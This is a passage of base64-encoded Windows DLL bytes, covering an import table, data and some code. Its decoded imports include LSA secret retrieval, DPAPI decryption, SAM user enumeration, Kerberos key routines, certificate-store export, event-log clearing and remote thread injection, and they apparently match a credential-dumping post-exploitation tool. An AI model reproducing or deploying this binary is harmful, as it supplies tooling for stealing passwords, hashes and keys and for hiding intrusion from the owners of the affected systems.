AUAwOgFANboBQDo6AUA+OgFAArpBQAo6QUARukFAGLpBQBs6QUAiOkFAKTpBQC26QUAyukFAOTpBQAG6gUAGuoFADDqBQBK6gUAauoFAHrqBQCM6gUAoOoFALjqBQDK6gUA1uoFALT4BQAAAAAADOsFACTrBQA46wUAXOsFAIDrBQCe6wUAtOsFANjrBQD26wUACOwFACDsBQBE7AUAWuwFAGrsBQD26gUAAAAAAOzwBQDU8AUAuvAFAKjwBQD88AUAAAAAAE77BQBC+wUAMvsFAB77BQAM+wUA8voFANj6BQDM+gUAwPoFAK76BQCc+gUAjPoFAHr6BQB8+wUAWvoFAEz6BQBC+gUANvoFACr6BQAU+gUA/vkFAOj5BQDa+QUAyPkFALb5BQCe+QUAhvkFAG75BQBi+QUAUPkFAEb5BQA4+QUAKvkFAB75BQD2+AUA3vgFAFz7BQBs+wUAyPgFAIz7BQBq+gUAkvgFAHb4BQBk+AUARvgFACr4BQAW+AUAAPgFAOr3BQDQ9wUAuvcFAKb3BQCU9wUAePcFAGD3BQBC9wUAMvcFABT3BQAA9wUA8vYFAOD2BQDQ9gUAtvYFAKD2BQCU9gUAuPMFAMbzBQDe8wUA6vMFAPbzBQAC9AUAEPQFABj0BQAo9AUAOvQFAEj0BQBY9AUAaPQFAID0BQCU9AUAqPQFALr0BQDI9AUA2vQFAPD0BQAC9QUAEPUFACD1BQAy9QUARvUFAFj1BQBs9QUAfPUFAIz1BQCe9QUAsPUFAMb1BQDW9QUA5vUFAPj1BQAI9gUAHvYFADT2BQBO9gUAYPYFAHL2BQCE9gUAAAAAAAjtBQAY7QUAAAAAAHDtBQA67QUAUO0FAIztBQCo7QUAuu0FAMztBQDu7QUAAAAAACbvBQA07wUATO8FAGrvBQBO7gUAau4FAITuBQCU7gUAou4FALruBQDq7gUA2u4FAMjuBQAE7wUAAAAAAHDxBQBY8QUAGvEFADrxBQAAAAAAUPAFAAAAAAAM7gUAMO4FABzuBQAAAAAA0O8FAIzvBQDs7wUADPAFAKDvBQAu8AUAuu8FAAAAAABy8AUAiPAFAAAAAACk7AUAsOwFALzsBQDO7AUA5uwFAJrsBQAAAAAASvIFAGbyBQCC8gUAlvIFAKzyBQA68gUA1PIFAO7yBQAQ8wUAKvMFAErzBQBc8wUAcvMFAIjzBQCc8wUAIvIFAAryBQDu8QUA1vEFALbxBQCi8QUAwPIFAAAAAADLAENyeXB0UmVsZWFzZUNvbnRleHQAwABDcnlwdEdlbktleQDGAENyeXB0R2V0UHJvdlBhcmFtAMQAQ3J5cHRHZXRIYXNoUGFyYW0AygBDcnlwdEltcG9ydEtleQAAzQBDcnlwdFNldEtleVBhcmFtAAC2AENyeXB0RGVzdHJveUhhc2gAAMwAQ3J5cHRTZXRIYXNoUGFyYW0AyABDcnlwdEhhc2hEYXRhALMAQ3J5cHRDcmVhdGVIYXNoAL8AQ3J5cHRFeHBvcnRLZXkAALQAQ3J5cHREZWNyeXB0AADUAlN5c3RlbUZ1bmN0aW9uMDA3ALkAQ3J5cHREdXBsaWNhdGVLZXkAugBDcnlwdEVuY3J5cHQAALEAQ3J5cHRBY3F1aXJlQ29udGV4dFcAAMUAQ3J5cHRHZXRLZXlQYXJhbQAAsABDcnlwdEFjcXVpcmVDb250ZXh0QQAAtwBDcnlwdERlc3Ryb3lLZXkANgFHZXRMZW5ndGhTaWQAAHYAQ29weVNpZACdAUxzYUNsb3NlAAC9AUxzYU9wZW5Qb2xpY3kAxQFMc2FRdWVyeUluZm9ybWF0aW9uUG9saWN5AIMAQ3JlYXRlV2VsbEtub3duU2lkAAB8AENyZWF0ZVByb2Nlc3NBc1VzZXJXAAB9AENyZWF0ZVByb2Nlc3NXaXRoTG9nb25XAG4CUmVnUXVlcnlWYWx1ZUV4VwAAUgJSZWdFbnVtVmFsdWVXAGECUmVnT3BlbktleUV4VwB+AlJlZ1NldFZhbHVlRXhXAABPAlJlZ0VudW1LZXlFeFcAaAJSZWdRdWVyeUluZm9LZXlXAAAwAlJlZ0Nsb3NlS2V5AO0CU3lzdGVtRnVuY3Rpb24wMzIAKQJRdWVyeVNlcnZpY2VTdGF0dXNFeAAA+wFPcGVuU2VydmljZVcAAMkCU3RhcnRTZXJ2aWNlVwBcAENvbnRyb2xTZXJ2aWNlAADaAERlbGV0ZVNlcnZpY2UA+QFPcGVuU0NNYW5hZ2VyVwAAVwBDbG9zZVNlcnZpY2VIYW5kbGUAAGwAQ29udmVydFNpZFRvU3RyaW5nU2lkVwAAwQBDcnlwdEdlblJhbmRvbQAAgAFJc1RleHRVbmljb2RlAFoBR2V0VG9rZW5JbmZvcm1hdGlvbgCRAUxvb2t1cEFjY291bnRTaWRXAPcBT3BlblByb2Nlc3NUb2tlbgAAdABDb252ZXJ0U3RyaW5nU2lkVG9TaWRXAADTAlN5c3RlbUZ1bmN0aW9uMDA2AL4AQ3J5cHRFbnVtUHJvdmlkZXJzVwDHAENyeXB0R2V0VXNlcktleQD2AU9wZW5FdmVudExvZ1cAUwBDbGVhckV2ZW50TG9nVwAAQwFHZXROdW1iZXJPZkV2ZW50TG9nUmVjb3JkcwAAJwJRdWVyeVNlcnZpY2VPYmplY3RTZWN1cml0eQAAQwBCdWlsZFNlY3VyaXR5RGVzY3JpcHRvclcAACABRnJlZVNpZAC/AlNldFNlcnZpY2VPYmplY3RTZWN1cml0eQAAIABBbGxvY2F0ZUFuZEluaXRpYWxpemVTaWQAAIEAQ3JlYXRlU2VydmljZVcAAOYCU3lzdGVtRnVuY3Rpb24wMjUAzAFMc2FSZXRyaWV2ZVByaXZhdGVEYXRhAADJAUxzYVF1ZXJ5VHJ1c3RlZERvbWFpbkluZm9CeU5hbWUA0gJTeXN0ZW1GdW5jdGlvbjAwNQBXAUdldFNpZFN1YkF1dGhvcml0eQAAWAFHZXRTaWRTdWJBdXRob3JpdHlDb3VudACqAUxzYUVudW1lcmF0ZVRydXN0ZWREb21haW5zRXgAAKsBTHNhRnJlZU1lbW9yeQD8AU9wZW5UaHJlYWRUb2tlbgDfAER1cGxpY2F0ZVRva2VuRXgAAFEAQ2hlY2tUb2tlbk1lbWJlcnNoaXAAAMECU2V0VGhyZWFkVG9rZW4AAIwAQ3JlZEZyZWUAAIkAQ3JlZEVudW1lcmF0ZVcAAEFEVkFQSTMyLmRsbAAA2wBDcnlwdFVucHJvdGVjdERhdGEAAH0AQ3J5cHRCaW5hcnlUb1N0cmluZ1cAAL0AQ3J5cHRQcm90ZWN0RGF0YQAAegBDcnlwdEFjcXVpcmVDZXJ0aWZpY2F0ZVByaXZhdGVLZXkACABDZXJ0QWRkRW5jb2RlZENlcnRpZmljYXRlVG9TdG9yZQAAQABDZXJ0RnJlZUNlcnRpZmljYXRlQ29udGV4dAAALwBDZXJ0RW51bVN5c3RlbVN0b3JlAAQAQ2VydEFkZENlcnRpZmljYXRlQ29udGV4dFRvU3RvcmUAACwAQ2VydEVudW1DZXJ0aWZpY2F0ZXNJblN0b3JlABIAQ2VydENsb3NlU3RvcmUAABYBUEZYRXhwb3J0Q2VydFN0b3JlRXgAAGoAQ2VydFNldENlcnRpZmljYXRlQ29udGV4dFByb3BlcnR5AEsAQ2VydEdldE5hbWVTdHJpbmdXAABXAENlcnRPcGVuU3RvcmUARgBDZXJ0R2V0Q2VydGlmaWNhdGVDb250ZXh0UHJvcGVydHkAQ1JZUFQzMi5kbGwADABNRDVJbml0AA0ATUQ1VXBkYXRlAAsATUQ1RmluYWwAAAUAQ0RMb2NhdGVDU3lzdGVtAAQAQ0RHZW5lcmF0ZVJhbmRvbUJpdHMAAAYAQ0RMb2NhdGVDaGVja1N1bQAAY3J5cHRkbGwuZGxsAAAQAERzR2V0RGNOYW1lVwAAZQBOZXRBcGlCdWZmZXJGcmVlAABORVRBUEkzMi5kbGwAAHEBUnBjQmluZGluZ1NldE9wdGlvbgBfAVJwY0JpbmRpbmdGcm9tU3RyaW5nQmluZGluZ1cAAO4BUnBjU3RyaW5nQmluZGluZ0NvbXBvc2VXAABuAVJwY0JpbmRpbmdTZXRBdXRoSW5mb0V4VwAA8gFScGNTdHJpbmdGcmVlVwAAXQFScGNCaW5kaW5nRnJlZQAAIABJX1JwY0JpbmRpbmdJbnFTZWN1cml0eUNvbnRleHQAAJUATmRyQ2xpZW50Q2FsbDIAAFJQQ1JUNC5kbGwAADoAUGF0aENvbWJpbmVXAAA4AFBhdGhDYW5vbmljYWxpemVXAGUAUGF0aElzUmVsYXRpdmVXAFNITFdBUEkuZGxsABMAU2FtRW51bWVyYXRlVXNlcnNJbkRvbWFpbgAdAFNhbUxvb2t1cE5hbWVzSW5Eb21haW4AAB8AU2FtT3BlbkRvbWFpbgAhAFNhbU9wZW5Vc2VyABwAU2FtTG9va3VwSWRzSW5Eb21haW4AAAcAU2FtQ29ubmVjdAAABgBTYW1DbG9zZUhhbmRsZQAAFABTYW1GcmVlTWVtb3J5ACYAU2FtUXVlcnlJbmZvcm1hdGlvblVzZXIAEQBTYW1FbnVtZXJhdGVEb21haW5zSW5TYW1TZXJ2ZXIAACwAU2FtUmlkVG9TaWQAFQBTYW1HZXRBbGlhc01lbWJlcnNoaXAAGwBTYW1Mb29rdXBEb21haW5JblNhbVNlcnZlcgAAGABTYW1HZXRHcm91cHNGb3JVc2VyAFNBTUxJQi5kbGwAABgARnJlZUNvbnRleHRCdWZmZXIANABRdWVyeUNvbnRleHRBdHRyaWJ1dGVzVwAnAExzYUNvbm5lY3RVbnRydXN0ZWQAKABMc2FEZXJlZ2lzdGVyTG9nb25Qcm9jZXNzACYATHNhQ2FsbEF1dGhlbnRpY2F0aW9uUGFja2FnZQAALQBMc2FMb29rdXBBdXRoZW50aWNhdGlvblBhY2thZ2UAACoATHNhRnJlZVJldHVybkJ1ZmZlcgBTZWN1cjMyLmRsbAAGAENvbW1hbmRMaW5lVG9Bcmd2VwAAU0hFTEwzMi5kbGwAwwFJc0NoYXJBbHBoYU51bWVyaWNXAD4BR2V0S2V5Ym9hcmRMYXlvdXQAVVNFUjMyLmRsbAAABQBIaWREX0dldEhpZEd1aWQAAQBIaWREX0ZyZWVQcmVwYXJzZWREYXRhAAAMAEhpZERfR2V0UHJlcGFyc2VkRGF0YQAVAEhpZFBfR2V0Q2FwcwAAAgBIaWREX0dldEF0dHJpYnV0ZXMAAEhJRC5ETEwAPwFTZXR1cERpRGVzdHJveURldmljZUluZm9MaXN0AABDAVNldHVwRGlFbnVtRGV2aWNlSW50ZXJmYWNlcwBWAVNldHVwRGlHZXRDbGFzc0RldnNXAABuAVNldHVwRGlHZXREZXZpY2VJbnRlcmZhY2VEZXRhaWxXAABTRVRVUEFQSS5kbGwAAA0AUnRsRnJlZUFuc2lTdHJpbmcAFwBSdGxVbmljb2RlU3RyaW5nVG9BbnNpU3RyaW5nAAAOAFJ0bEZyZWVVbmljb2RlU3RyaW5nAAAKAFJ0bERvd25jYXNlVW5pY29kZVN0cmluZwAADABSdGxFcXVhbFVuaWNvZGVTdHJpbmcAEwBSdGxJbml0VW5pY29kZVN0cmluZwAAAQBOdFF1ZXJ5T2JqZWN0AAIATnRRdWVyeVN5c3RlbUluZm9ybWF0aW9uAAAAAE50UXVlcnlJbmZvcm1hdGlvblByb2Nlc3MAEABSdGxHZXRDdXJyZW50UGViAAAJAFJ0bENyZWF0ZVVzZXJUaHJlYWQADwBSdGxHVUlERnJvbVN0cmluZwAWAFJ0bFN0cmluZ0Zyb21HVUlEABEAUnRsR2V0TnRWZXJzaW9uTnVtYmVycwAACABSdGxBcHBlbmRVbmljb2RlU3RyaW5nVG9TdHJpbmcAABkAUnRsVXBjYXNlVW5pY29kZVN0cmluZwAABwBSdGxBbnNpU3RyaW5nVG9Vbmljb2RlU3RyaW5nAAADAE50UmVzdW1lUHJvY2VzcwAGAFJ0bEFkanVzdFByaXZpbGVnZQAABQBOdFRlcm1pbmF0ZVByb2Nlc3MAAAQATnRTdXNwZW5kUHJvY2VzcwAACwBSdGxFcXVhbFN0cmluZwAAbnRkbGwuZGxsAEQDTG9jYWxBbGxvYwAAJQFGaWxlVGltZVRvU3lzdGVtVGltZQAASANMb2NhbEZyZWUAwANSZWFkRmlsZQAAJQVXcml0ZUZpbGUAjwBDcmVhdGVGaWxlVwCyBFNsZWVwAAICR2V0TGFzdEVycm9yAADBBFRlcm1pbmF0ZVRocmVhZABSAENsb3NlSGFuZGxlALUAQ3JlYXRlVGhyZWFkAADxAUdldEZpbGVTaXplRXgAvwFHZXRDdXJyZW50RGlyZWN0b3J5VwAAVwFGbHVzaEZpbGVCdWZmZXJzAADAAUdldEN1cnJlbnRQcm9jZXNzAOgARHVwbGljYXRlSGFuZGxlAIADT3BlblByb2Nlc3MA3QBEZXZpY2VJb0NvbnRyb2wALgVXcml0ZVByb2Nlc3NNZW1vcnkAAO8EVmlydHVhbFByb3RlY3QAAOwEVmlydHVhbEZyZWUA6QRWaXJ0dWFsQWxsb2MAAGYEU2V0RmlsZVBvaW50ZXIAAPAEVmlydHVhbFByb3RlY3RFeAAA6gRWaXJ0dWFsQWxsb2NFeAAAwwNSZWFkUHJvY2Vzc01lbW9yeQDtBFZpcnR1YWxGcmVlRXgA8QRWaXJ0dWFsUXVlcnkAAPIEVmlydHVhbFF1ZXJ5RXgAANYEVW5tYXBWaWV3T2ZGaWxlAIwAQ3JlYXRlRmlsZU1hcHBpbmdXAABXA01hcFZpZXdPZkZpbGUASwNMb2NhbFJlQWxsb2MAAKgAQ3JlYXRlUHJvY2Vzc1cAAHMEU2V0TGFzdEVycm9yAAD5BFdhaXRGb3JTaW5nbGVPYmplY3QAqQBDcmVhdGVSZW1vdGVUaHJlYWQAACQBRmlsZVRpbWVUb0xvY2FsRmlsZVRpbWUAlwJHZXRUaW1lRm9ybWF0VwAAyAFHZXREYXRlRm9ybWF0VwAAOQFGaW5kRmlyc3RGaWxlVwAARQFGaW5kTmV4dEZpbGVXAC4BRmluZENsb3NlAOoBR2V0RmlsZUF0dHJpYnV0ZXNXAAB5AkdldFN5c3RlbVRpbWVBc0ZpbGVUaW1lAD8DTG9hZExpYnJhcnlXAABFAkdldFByb2NBZGRyZXNzAABiAUZyZWVMaWJyYXJ5ABgCR2V0TW9kdWxlSGFuZGxlVwAAsgFHZXRDb25zb2xlU2NyZWVuQnVmZmVySW5mbwAAZAJHZXRTdGRIYW5kbGUAACgBRmlsbENvbnNvbGVPdXRwdXRDaGFyYWN0ZXJXAE0EU2V0Q3VycmVudERpcmVjdG9yeVcAADEEU2V0Q29uc29sZUN1cnNvclBvc2l0aW9uAAAOA0lzV293NjRQcm9jZXNzAADEAUdldEN1cnJlbnRUaHJlYWQAAMEBR2V0Q3VycmVudFByb2Nlc3NJZACnA1F1ZXJ5UGVyZm9ybWFuY2VDb3VudGVyAMUBR2V0Q3VycmVudFRocmVhZElkAADnAkluaXRpYWxpemVTTGlzdEhlYWQAAANJc0RlYnVnZ2VyUHJlc2VudADTBFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAApQRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAYwJHZXRTdGFydHVwSW5mb1cABANJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50AMAEVGVybWluYXRlUHJvY2VzcwAAS0VSTkVMMzIuZGxsAADxAlN5c3RlbUZ1bmN0aW9uMDM2ABQCR2V0TW9kdWxlRmlsZU5hbWVXAADuAkludGVybG9ja2VkRmx1c2hTTGlzdADjAkluaXRpYWxpemVDcml0aWNhbFNlY3Rpb25BbmRTcGluQ291bnQAxQRUbHNBbGxvYwAAxwRUbHNHZXRWYWx1ZQDIBFRsc1NldFZhbHVlAMYEVGxzRnJlZQA+A0xvYWRMaWJyYXJ5RXhXAAAYBFJ0bFVud2luZADuAEVudGVyQ3JpdGljYWxTZWN0aW9uAAA5A0xlYXZlQ3JpdGljYWxTZWN0aW9uAADRAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgCGAUdldENvbW1hbmRMaW5lQQCHAUdldENvbW1hbmRMaW5lVwAZAUV4aXRQcm9jZXNzABcCR2V0T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